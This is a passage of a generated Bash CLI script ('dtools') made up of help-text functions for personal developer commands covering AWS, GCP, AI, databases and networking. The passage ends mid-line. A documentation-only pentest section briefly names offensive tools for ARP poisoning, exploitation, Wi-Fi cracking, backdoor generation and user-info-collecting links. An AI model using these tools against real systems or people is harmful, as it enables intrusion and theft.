#!/usr/bin/env bash # This script was generated by bashly 1.3.4 (https://bashly.dev) # Modifying it manually is not recommended if ((BASH_VERSINFO[0] < 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] < 2))); then printf "bash version 4.2 or higher is required\n" >&2 exit 1 fi version_command() { echo "$version" } dtools_usage() { printf "dtools - A CLI tool to manage all personal dev tools\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools COMMAND\n" printf " dtools [COMMAND] --help | -h\n" printf " dtools --version | -v\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Update the dtools CLI to the latest version\n" "$(green "update") " printf " %s Starts a simple server using netcat\n" "$(green "start-simple-server") " printf " %s Randomly generate a secure password\n" "$(green "generate-password") " printf " %s Play a given mp3 sound using the command line. This is useful when combined with ntfy to subscribe to a topic and play a sound whenever receiving a notification\n" "$(green "play-mp3") " printf " %s Generate a random integer in the given range\n" "$(green "random-int") " printf " %s Generate a random float in the given range\n" "$(green "random-float") " printf " %s Record the current shell and create a gif of the session.\n" "$(green "record-shell") " echo printf "%s\n" "$(bold "AI Commands:")" printf " %s AI commands\n" "$(green "ai") " printf " %s Chat with a model running on your local machine via llama.cpp\n" "$(green "ai chat") " printf " %s Start a llama.cpp server\n" "$(green "ai start-llama-server") " printf " %s Open the llama.cpp UI in a browser\n" "$(green "ai open-llama-ui") " printf " %s Open the Llama API documentation in a browser\n" "$(green "ai open-llama-api-docs") " echo printf "%s\n" "$(bold "AWS Commands:")" printf " %s AWS commands\n" "$(green "aws") " printf " %s Log in to AWS using SSO. \n" "$(green "aws login") " printf " %s Open the AWS console in your default browser using the current AWS_REGION and AWS_PROFILE\n" "$(green "aws console") " printf " %s Drop into an interactive AWS CLI shell with auto-completion\n" "$(green "aws shell") " printf " %s Change AWS profile\n" "$(green "aws profile") " printf " %s Change AWS region\n" "$(green "aws region") " printf " %s Toggle the AWS CLI auto prompt\n" "$(green "aws toggle-auto-prompt") " printf " %s Exports SSO credentials to environment variables for use with AWS SDKs\n" "$(green "aws export-sso-creds") " printf " %s Fetch all AWS accounts via AWS SSO, and generate the profiles for CLI connectivity.\n" "$(green "aws generate-sso-profiles") " printf " %s EC2 commands\n" "$(green "aws ec2") " printf " %s SSM commands\n" "$(green "aws ssm") " printf " %s Secrets Manager commands\n" "$(green "aws secretsmanager") " printf " %s AWS Logs commands\n" "$(green "aws logs") " printf " %s RDS commands\n" "$(green "aws rds") " echo printf "%s\n" "$(bold "GCP Commands:")" printf " %s GCP commands\n" "$(green "gcp") " printf " %s Log in to GCP using SSO.\n" "$(green "gcp login") " printf " %s Change GCP project\n" "$(green "gcp project") " printf " %s Change GCP location\n" "$(green "gcp location") " printf " %s Get the GCP project number of the specified project\n" "$(green "gcp get-project-number") " printf " %s Vertex AI commands\n" "$(green "gcp vertex") " printf " %s GCP Artifact Registry commands\n" "$(green "gcp artifacts") " echo printf "%s\n" "$(bold "Database Commands:")" printf " %s Database commands\n" "$(green "db") " printf " %s Start an interactive Docker container with psql to experiment with PostgreSQL.\n" "$(green "db postgres") " printf " %s Start an interactive Docker container with mysql to experiment with MySQL.\n" "$(green "db mysql") " printf " %s Start a Harlequin session to big query using the specified project\n" "$(green "db bigquery") " echo printf "%s\n" "$(bold "Elastic Commands:")" printf " %s Elastic Stack commands\n" "$(green "elastic") " printf " %s Initialize a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n" "$(green "elastic init") " printf " %s Start a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n" "$(green "elastic start") " printf " %s Stop a locally running Elastic Stack (Elasticsearch + Kibana + Logstash)\n" "$(green "elastic stop") " echo printf "%s\n" "$(bold "Java Commands:")" printf " %s Java commands\n" "$(green "java") " printf " %s Sets the system-wide Java version\n" "$(green "java set-version") " printf " %s Perform static code analysis for the current directory's Java project with SonarQube\n" "$(green "java analyze-with-sonar") " echo printf "%s\n" "$(bold "Ansible Commands:")" printf " %s Ansible commands\n" "$(green "ansible") " printf " %s Encrypt the plaintext string given in the prompt, prompting the user for the vault password, with Ansible Vault\n" "$(green "ansible encrypt-string") " printf " %s Decrypt a variable encrypted with Ansible Vault\n" "$(green "ansible decrypt-variable") " echo printf "%s\n" "$(bold "Install Commands:")" printf " %s Install commands\n" "$(green "install") " printf " %s Install Docker (Debian-based systems only)\n" "$(green "install docker") " printf " %s Install Ansible\n" "$(green "install ansible") " printf " %s Install LTS OpenJDK's 8, 11, 17, and 21 (Debian-based systems only)\n" "$(green "install java") " echo printf "%s\n" "$(bold "Cleaning Commands:")" printf " %s System cleaning commands\n" "$(green "clean") " printf " %s Perform a system-wide upkeep cleanup with BleachBit\n" "$(green "clean bleachbit") " printf " %s Clean docker images, containers, and volumes\n" "$(green "clean docker") " printf " %s Clean package manager caches (Debian-based systems only)\n" "$(green "clean package-caches") " printf " %s Clean up system logs by deleting old logs and clearing the journal\n" "$(green "clean logs") " printf " %s Clean all build caches\n" "$(green "clean build-caches") " echo printf "%s\n" "$(bold "TUI Commands:")" printf " %s TUIs (Documentation only)\n" "$(green "tui") " printf " %s TUIs for monitoring systems\n" "$(green "tui monitoring") " printf " %s TUIs for monitoring network activities\n" "$(green "tui network-monitoring") " printf " %s TUIs for various network tools\n" "$(green "tui network") " printf " %s TUIs for Docker related tools\n" "$(green "tui docker") " printf " %s TUIs for development related tools\n" "$(green "tui development") " printf " %s TUIs for helping devs get help or solve problems\n" "$(green "tui dev-help") " printf " %s TUIs to query or analyze data\n" "$(green "tui data") " printf " %s TUIs for miscellaneous things\n" "$(green "tui misc") " printf " %s TUIs for sandboxing applications or experimentation\n" "$(green "tui sandbox") " printf " %s TUIs for AI related tooling\n" "$(green "tui ai") " echo printf "%s\n" "$(bold "Pentest Commands:")" printf " %s Pentest commands (Documentation only)\n" "$(green "pentest") " printf " %s A social engineering strategy planning and reconnaissance tool\n" "$(green "pentest maltego") " printf " %s View and modify interfaces (Debian-based OSes only)\n" "$(green "pentest ifconfig") " printf " %s Scan the network for devices (Debian-based OSes only)\n" "$(green "pentest netdiscover") " printf " %s Map the network\n" "$(green "pentest nmap") " printf " %s Perform arp poisoning (Debian-based OSes only)\n" "$(green "pentest arpspoof") " printf " %s Analyze network data\n" "$(green "pentest bettercap") " printf " %s Metasploit Framework for executing known exploits against targets\n" "$(green "pentest msfconsole") " printf " %s Wireless network password cracking\n" "$(green "pentest aircrack-ng") " printf " %s Generate brute-force passwords wordlist with some constraints. Useful if you have some idea of what the password is already.\n" "$(green "pentest crunch") " printf " %s Generate backdoor binaries using known exploits\n" "$(green "pentest veil") " printf " %s Free public load balancing to direct traffic to your local system\n" "$(green "pentest ngrok") " printf " %s Generates links to a locally hosted website to collect user info\n" "$(green "pentest storm-breaker") " echo printf "%s\n" "$(bold "Video Commands:")" printf " %s Video commands\n" "$(green "video") " printf " %s Rip the audio from a video file.\n" "$(green "video rip-audio") " printf " %s Download YouTube videos\n" "$(green "video youtube") " printf " %s Automatically detect and split scenes in the specified video file\n" "$(green "video split-scenes") " printf " %s Get the duration of a video file\n" "$(green "video duration") " printf " %s Boost the audio of the specified video file\n" "$(green "video boost-audio") " echo printf "%s\n" "$(bold "Virtual Machine Commands:")" printf " %s Virtual Machine commands\n" "$(green "vm") " printf " %s Start a windows VM and then open a FreeRDP session to the container. The web version is also available at http://localhost:8006\n" "$(green "vm windows") " printf " %s Start a Linux VM that's available at http://localhost:8006 and via SSH on port 2222\n" "$(green "vm linux") " printf " %s Start a MacOS VM that's available at http://localhost:8006\n" "$(green "vm mac") " echo printf "%s\n" "$(bold "Network Commands:")" printf " %s Network commands\n" "$(green "network") " printf " %s Generate a self-signed HTTPS certificate for use in testing\n" "$(green "network generate-self-signed-certificate")" printf " %s Proxy HTTPS traffic\n" "$(green "network https-proxy") " printf " %s Proxy all TCP traffic with simpleproxy (Debian-based systems only)\n" "$(green "network tcp-proxy") " printf " %s Proxy all HTTP and HTTPS requests locally to a remote server using Nginx.\n" "$(green "network proxy-with-nginx") " printf " %s Start a Man-in-the-Middle (MITM) proxy to intercept and log all requests\n" "$(green "network mitm-proxy") " printf " %s Download an archive an entire website for offline viewing via Kiwix and .zim formats using OpenZim's zimit\n" "$(green "network archive-website") " printf " %s Convert a WARC to ZIM format for easier offline viewing using OpenZim's zimit\n" "$(green "network warc-2-zim") " printf " %s Start a local API to generate Mermaid diagrams\n" "$(green "network mermaid-api") " echo printf "%s\n" "$(bold "Ntfy Commands:")" printf " %s ntfy commands for easy reference\n" "$(green "ntfy") " printf " %s Subscribe to the specified ntfy topic and optionally play a sound whenever a message is received.\n" "$(green "ntfy subscribe") " printf " %s Open the ntfy message publishing reference page in your default browser\n" "$(green "ntfy reference") " echo printf "%s\n" "$(bold "Documents Commands:")" printf " %s Commands for manipulating documents\n" "$(green "document") " printf " %s Convert any given document into any other supported format using pandoc\n" "$(green "document convert") " printf " %s Merge a list of PDFs into a single PDF file\n" "$(green "document merge-pdf") " printf " %s Decrypt a PDF so it can be manipulated via CLI tools\n" "$(green "document decrypt-pdf") " echo printf "%s\n" "$(bold "Git Commands:")" printf " %s Git commands\n" "$(green "git") " printf " %s Search all previous tracked files for a given string to see all changes involving the specified string\n" "$(green "git search-history") " echo printf "%s\n" "$(bold "Miscellaneous Commands:")" printf " %s Plot data piped into this command (one-off)\n" "$(green "plot") " printf " %s Continuously plot data piped into this command (like following a log tail)\n" "$(green "real-time-plot") " printf " %s Convert a given date timestamp into epoch millis\n" "$(green "date-to-epoch") " printf " %s Convert a given epoch (in millis) to a date timestamp\n" "$(green "epoch-to-date") " printf " %s Convert a given date into ISO 8601 format\n" "$(green "date-to-iso-8601") " printf " %s View markdown file in a browser with images and links\n" "$(green "view-markdown") " printf " %s Pipe the output of a command to fzf for interactive selection\n" "$(green "fzf") " printf " %s Create a backup of a file or directory. By default, this will create a copy of the specified file or directory in the same source directory.\n" "$(green "backup") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf " %s\n" "$(magenta "--version, -v")" printf " Show version number\n" echo fi } dtools_completions_usage() { if [[ -n $long_usage ]]; then printf "dtools completions\n\n" printf " Generate bash completions\n Usage: eval \"\$(dtools completions)\"\n\n" else printf "dtools completions - Generate bash completions\n\n" fi printf "%s\n" "$(bold "Usage:")" printf " dtools completions\n" printf " dtools completions --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_update_usage() { printf "dtools update - Update the dtools CLI to the latest version\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools update\n" printf " dtools update --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_ai_usage() { printf "dtools ai - AI commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools ai COMMAND\n" printf " dtools ai [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Chat with a model running on your local machine via llama.cpp\n" "$(green "chat") " printf " %s Start a llama.cpp server\n" "$(green "start-llama-server") " printf " %s Open the llama.cpp UI in a browser\n" "$(green "open-llama-ui") " printf " %s Open the Llama API documentation in a browser\n" "$(green "open-llama-api-docs")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_ai_chat_usage() { printf "dtools ai chat - Chat with a model running on your local machine via llama.cpp\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools ai chat [OPTIONS]\n" printf " dtools ai chat --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--hf-repo, -r HF_REPO")" printf " The Hugging Face repository to use\n" printf " %s\n" "Default: microsoft/Phi-3-mini-4k-instruct-gguf" echo printf " %s\n" "$(magenta "--hf-file, -f HF_FILE")" printf " The Hugging Face model GGUF file to use\n" printf " %s\n" "Default: Phi-3-mini-4k-instruct-q4.gguf" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_ai_start_llama_server_usage() { printf "dtools ai start-llama-server - Start a llama.cpp server\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools ai start-llama-server [OPTIONS]\n" printf " dtools ai start-llama-server --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--hf-repo, -r HF_REPO")" printf " The Hugging Face repository to use\n" printf " %s\n" "Default: microsoft/Phi-3-mini-4k-instruct-gguf" echo printf " %s\n" "$(magenta "--hf-file, -f HF_FILE")" printf " The Hugging Face model GGUF file to use\n" printf " %s\n" "Default: Phi-3-mini-4k-instruct-q4.gguf" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_ai_open_llama_ui_usage() { printf "dtools ai open-llama-ui - Open the llama.cpp UI in a browser\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools ai open-llama-ui\n" printf " dtools ai open-llama-ui --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_ai_open_llama_api_docs_usage() { printf "dtools ai open-llama-api-docs - Open the Llama API documentation in a browser\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools ai open-llama-api-docs\n" printf " dtools ai open-llama-api-docs --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_usage() { printf "dtools aws - AWS commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws COMMAND\n" printf " dtools aws [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Log in to AWS using SSO. \n" "$(green "login") " printf " %s Open the AWS console in your default browser using the current AWS_REGION and AWS_PROFILE\n" "$(green "console") " printf " %s Drop into an interactive AWS CLI shell with auto-completion\n" "$(green "shell") " printf " %s Change AWS profile\n" "$(green "profile") " printf " %s Change AWS region\n" "$(green "region") " printf " %s Toggle the AWS CLI auto prompt\n" "$(green "toggle-auto-prompt") " printf " %s Exports SSO credentials to environment variables for use with AWS SDKs\n" "$(green "export-sso-creds") " printf " %s Fetch all AWS accounts via AWS SSO, and generate the profiles for CLI connectivity.\n" "$(green "generate-sso-profiles") " echo printf "%s\n" "$(bold "EC2 Commands:")" printf " %s EC2 commands\n" "$(green "ec2") " printf " %s List all EC2 instances in the account\n" "$(green "ec2 list-instances") " echo printf "%s\n" "$(bold "SSM Commands:")" printf " %s SSM commands\n" "$(green "ssm") " printf " %s Use SSM to connect to an EC2 instance and forward a local port to the remote machine\n" "$(green "ssm start-port-forwarding") " printf " %s Start an EC2 instance to act as a bastion host for ngrok\n" "$(green "ssm start-ngrok-bastion-instance")" printf " %s List all AWS SSM Parameter Store parameters\n" "$(green "ssm list-parameters") " printf " %s Get the value of an AWS SSM Parameter Store parameter\n" "$(green "ssm get-parameter") " printf " %s Create a new parameter in AWS SSM Parameter Store\n" "$(green "ssm create-parameter") " printf " %s Update an existing parameter in AWS SSM Parameter Store (Will create a new parameter if it does not exist)\n" "$(green "ssm update-parameter") " printf " %s Delete a parameter from AWS SSM Parameter Store\n" "$(green "ssm delete-parameter") " echo printf "%s\n" "$(bold "Secrets Manager Commands:")" printf " %s Secrets Manager commands\n" "$(green "secretsmanager") " printf " %s List all AWS Secrets Manager secrets\n" "$(green "secretsmanager list-secrets") " printf " %s Show the secret value for the specified secret\n" "$(green "secretsmanager show-secret") " printf " %s Create a new secret in Secrets Manager\n" "$(green "secretsmanager create-secret") " echo printf "%s\n" "$(bold "Logs Commands:")" printf " %s AWS Logs commands\n" "$(green "logs") " printf " %s List all of the log groups in CloudWatch\n" "$(green "logs list-log-groups") " printf " %s Tails the specified CloudWatch log group\n" "$(green "logs tail-log-group") " printf " %s Query one or more log groups with the given query string\n" "$(green "logs query-log-groups") " echo printf "%s\n" "$(bold "RDS Commands:")" printf " %s RDS commands\n" "$(green "rds") " printf " %s List all RDS DB instances for the given account by their name\n" "$(green "rds list-db-instances") " printf " %s Fetch the connection details for the given RDS DB instance\n" "$(green "rds fetch-db-connection-details") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_login_usage() { if [[ -n $long_usage ]]; then printf "dtools aws login\n\n" printf " Log in to AWS using SSO. \n This command will also set your 'AWS_PROFILE' and 'AWS_REGION' environment\n variables.\n It will also export temporary credentials to your environment with the\n 'AWS_ACCESS_KEY_ID' and 'AWS_SECRET_ACCESS_KEY' environment variables.\n \n This command is essentially a shorthand for the following commands:\n dtools aws profile \n dtools aws region \n dtools aws login\n dtools aws export-sso-creds\n\n" else printf "dtools aws login - Log in to AWS using SSO. \n\n" fi printf "%s\n" "$(bold "Usage:")" printf " dtools aws login [OPTIONS]\n" printf " dtools aws login --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools aws login -p prod -r us-east-1\n" printf " # When the 'AWS_PROFILE' and 'AWS_REGION' environment variables are already\n # set\n dtools aws login\n" echo fi } dtools_aws_console_usage() { printf "dtools aws console - Open the AWS console in your default browser using the current AWS_REGION and AWS_PROFILE\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws console [OPTIONS]\n" printf " dtools aws console --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--service, -s SERVICE")" printf " The AWS service to open the console to\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_shell_usage() { printf "dtools aws shell - Drop into an interactive AWS CLI shell with auto-completion\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws shell\n" printf " dtools aws shell --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_profile_usage() { printf "dtools aws profile - Change AWS profile\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws profile PROFILE\n" printf " dtools aws profile --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "PROFILE")" printf " The AWS profile to use, corresponding profiles in your ~/.aws/config\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools aws profile prod\n" echo fi } dtools_aws_region_usage() { printf "dtools aws region - Change AWS region\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws region REGION\n" printf " dtools aws region --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" echo printf "%s\n" "$(bold "Examples:")" printf " dtools aws region us-east-1\n" echo fi } dtools_aws_toggle_auto_prompt_usage() { printf "dtools aws toggle-auto-prompt - Toggle the AWS CLI auto prompt\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws toggle-auto-prompt\n" printf " dtools aws toggle-auto-prompt --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_export_sso_creds_usage() { if [[ -n $long_usage ]]; then printf "dtools aws export-sso-creds\n\n" printf " Exports SSO credentials to environment variables for use with AWS SDKs\n This includes all of the following variables: \n \n AWS_ACCESS_KEY_ID\n AWS_SECRET_ACCESS_KEY\n AWS_SESSION_TOKEN\n AWS_CREDENTIAL_EXPIRATION\n AWS_REGION\n\n" else printf "dtools aws export-sso-creds - Exports SSO credentials to environment variables for use with AWS SDKs\n\n" fi printf "%s\n" "$(bold "Usage:")" printf " dtools aws export-sso-creds [OPTIONS]\n" printf " dtools aws export-sso-creds --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_generate_sso_profiles_usage() { if [[ -n $long_usage ]]; then printf "dtools aws generate-sso-profiles\n\n" printf " Fetch all AWS accounts via AWS SSO, and generate the profiles for CLI\n connectivity.\n \n In the event that the script fails automation when selecting an account to use\n for the basic setup,\n you can manually perform this first step by running 'aws configure sso', use\n 'https://d-123456789ab.awsapps.com/start'\n as the SSO Start URL, and use any account with any settings. Then you can run\n this command again for it\n to work properly.\n\n" else printf "dtools aws generate-sso-profiles - Fetch all AWS accounts via AWS SSO, and generate the profiles for CLI connectivity.\n\n" fi printf "%s\n" "$(bold "Usage:")" printf " dtools aws generate-sso-profiles [OPTIONS]\n" printf " dtools aws generate-sso-profiles --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--backup")" printf " Create a backup of the previous AWS config\n" echo printf " %s\n" "$(magenta "--default-cli-region, -d DEFAULT-CLI-REGION")" printf " The default CLI region for each profile.\n Defaults to using the same region as the provided SSO region\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" echo printf " %s\n" "$(magenta "--sso-region, -r SSO-REGION (required)")" printf " The region for SSO accounts\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" echo printf " %s\n" "$(magenta "--sso-start-url, -u SSO-START-URL (required)")" printf " The start URL for SSO authentication\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools aws generate-sso-profiles -u https://d-123456789ab.awsapps.com/start -r\n us-east-1\n" echo fi } dtools_aws_ec2_usage() { printf "dtools aws ec2 - EC2 commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws ec2 COMMAND\n" printf " dtools aws ec2 [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s List all EC2 instances in the account\n" "$(green "list-instances")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_ec2_list_instances_usage() { printf "dtools aws ec2 list-instances - List all EC2 instances in the account\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws ec2 list-instances [OPTIONS]\n" printf " dtools aws ec2 list-instances --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--detailed")" printf " Output the list of all instances in the full detailed format\n" printf " %s\n" "Conflicts: --filter" echo printf " %s\n" "$(magenta "--filter, -f FILTER (repeatable)")" printf " Filter the output to only show the specified information\n" printf " %s\n" "Allowed: instance-id, instance-type, private-dns-name, private-ip-address, public-dns-name, subnet-id, vpc-id, tags, launch-time, availability-zone, state, architecture, instance-profile, security-groups, os" printf " %s\n" "Conflicts: --detailed" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_ssm_usage() { printf "dtools aws ssm - SSM commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws ssm COMMAND\n" printf " dtools aws ssm [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Use SSM to connect to an EC2 instance and forward a local port to the remote machine\n" "$(green "start-port-forwarding") " printf " %s Start an EC2 instance to act as a bastion host for ngrok\n" "$(green "start-ngrok-bastion-instance")" printf " %s List all AWS SSM Parameter Store parameters\n" "$(green "list-parameters") " printf " %s Get the value of an AWS SSM Parameter Store parameter\n" "$(green "get-parameter") " printf " %s Create a new parameter in AWS SSM Parameter Store\n" "$(green "create-parameter") " printf " %s Update an existing parameter in AWS SSM Parameter Store (Will create a new parameter if it does not exist)\n" "$(green "update-parameter") " printf " %s Delete a parameter from AWS SSM Parameter Store\n" "$(green "delete-parameter") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_ssm_start_port_forwarding_usage() { printf "dtools aws ssm start-port-forwarding - Use SSM to connect to an EC2 instance and forward a local port to the remote machine\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws ssm start-port-forwarding INSTANCE-ID [OPTIONS]\n" printf " dtools aws ssm start-port-forwarding --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--remote-port REMOTE-PORT")" printf " The port number of the server on the EC2 instance\n" printf " %s\n" "Default: 80" echo printf " %s\n" "$(magenta "--local-port LOCAL-PORT")" printf " The port number on the local machine to forward traffic to. An open port is\n chosen at run-time if not provided.\n" printf " %s\n" "Default: 0" echo printf " %s\n" "$(magenta "--host HOST")" printf " Hostname or IP address of the destination server\n" printf " %s\n" "Default: localhost" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "INSTANCE-ID")" printf " The ID of the EC2 instance to connect to\n" echo printf 